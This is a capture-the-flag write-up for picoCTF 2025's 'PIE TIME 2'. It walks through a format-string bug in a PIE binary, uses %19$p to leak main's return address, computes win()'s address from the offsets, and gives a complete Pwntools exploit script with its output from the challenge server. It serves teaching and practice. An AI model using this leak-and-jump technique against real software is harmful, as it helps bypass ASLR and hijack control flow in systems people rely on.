PicoCTF 2025: PIE TIME 2

Recon

This challenge is the follow-up of the previous “PIE TIME” level.

$ PIE-TIME2 file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped
$ PIE-TIME2 checksec --file=vuln
[*] '/home/qelal/PicoCTF/PIE-TIME2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

All protections are enabled, notably PIE (Position Independent Executable). The program will be loaded each time at different addresses, and the binary will only contain offsets (relative addresses), not absolute addresses like when we compile with -no-pie. Anyways, here is the program’s behavior:

$ ./vuln 
Enter your name:john
john
 enter the address to jump to, ex => 0x12345: ff
Segfault Occurred, incorrect address.

The behavior is mostly the same as the previous level, however here they ask us for our name first, making the program quite polite.

The developer wasn’t so kind this time and didn’t give us a leak of any address. But we can probably find this by ourselves, can’t we?

Looking at the source code we find some interesting stuff:

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
    // reads the flag
}

int main() {
  call_functions();
  return 0;
}

For once, they used fgets, the safe replacement for gets, which checks for input length, making us unable to trigger a buffer overflow here. However, the printf function was directly called on user input: printf(buffer).

This is a terrible idea as the content of the buffer will be used to parse the format string for printf; for example we could try injecting a %p in the input, and we would get the next pointer on the stack. As the input buffer is limited to 64 chars, we can chain a couple more, and leak many pointers on the stack..

This is the vulnerability we could use to leak main’s return address. To do this first we’ll need to know where this address is located on the stack.

By decompiling the main function, we can find where call_functions is supposed to return:

   0x0000000000001437 <+55>:    mov    eax,0x0
   0x000000000000143c <+60>:    call   0x12c7 <call_functions>
   0x0000000000001441 <+65>:    mov    eax,0x0
   0x0000000000001446 <+70>:    pop    rbp
   0x0000000000001447 <+71>:    ret

The instruction right after the call is at <main+65> or offset 0x1441. We’ll take note of this.

We can do a bit of dynamic analysis with pwndbg to know where the return address to main could be on the stack:

pwndbg> b *call_functions
Breakpoint 1 at 0x12c7
pwndbg> r
[...]
─────[ BACKTRACE ]─────
► 0   0x5555555552c7 call_functions
   1   0x555555555441 main+65
   2   0x7ffff7ded24a None
   3   0x7ffff7ded305 __libc_start_main+133
   4   0x5555555551ee _start+46

We can now inject a bunch of %p specifiers to leak addresses off the stack and see where we’ll find main+65:

Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x5555555592a1 0xfbad2288 0xaaaa6d5f 0x5555555592dc 0x21001 (nil) 0x7ffff7f99760 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f000a702520 (nil) 0x7ae1306570e7af00 0x7fffffffdb20 0x555555555441 0x1

We see that 0x555555555441, our return address to main, is located at position 19 here. Therefore our exploit will use the %19$p format specifier to leak only this information. Also, it is the address for the instruction at <main+65>. Knowing this we can calculate the address for main.

We will simply subtract 65 decimal to the return address we found, and we get: 0x555555555400. Of course this address will change at each execution but we don’t care because we’ll automate this later.

Also bear in mind that gdb disables ASLR by default so this perfect address made up of fives will be slightly different in non-debugging conditions.

Now that we leaked main, how do we know where win() is? Well, it’s really simple. We will do a bit of static analysis (with IDA) to find win’s offset:

.text:000000000000136A                 endbr64
.text:000000000000136E                 push    rbp
.text:000000000000136F                 mov     rbp, rsp
.text:0000000000001372                 sub     rsp, 10h
.text:0000000000001376                 lea     rdi, aYouWon    ; "You won!"

So the offset for win() is 0x136A. Knowing main’s offset aswell, we will substract those two.

difference = main_offset - win_offset
difference = 0x1400 - 0x136A
difference = 0x96 bytes

So we know that win() is at main() - 0x96 and we know the address for main().

To know win() we will do: main() - 0x96 = 0x???? and the address doesn’t matter here, it will change everytime. But the idea works.

Exploit

Great, we have the address for win() and the position of main’s return address on the stack (19).

We can now write a Pwntools script to exploit the binary and get the flag:

io = start()

main_offset = 0x1400
win_offset = 0x136A

diff_bytes = main_offset - win_offset # 0x96

io.sendlineafter(b'name:', b'%19$p')
main_ret_text = io.recvline()

main_ret_addr = int(main_ret_text.strip(b'\n').decode(), 16) # main+65 

main_addr = main_ret_addr - 65
win_addr = main_addr - diff_bytes

io.sendlineafter(b'12345:', str(hex(win_addr)).encode())
result = io.recvall()

print(result)

Let it run!

$ python exploit.py REMOTE rescued-float.picoctf.net 65162
b" You won!\npicoCTF{REDACTED}\n\n"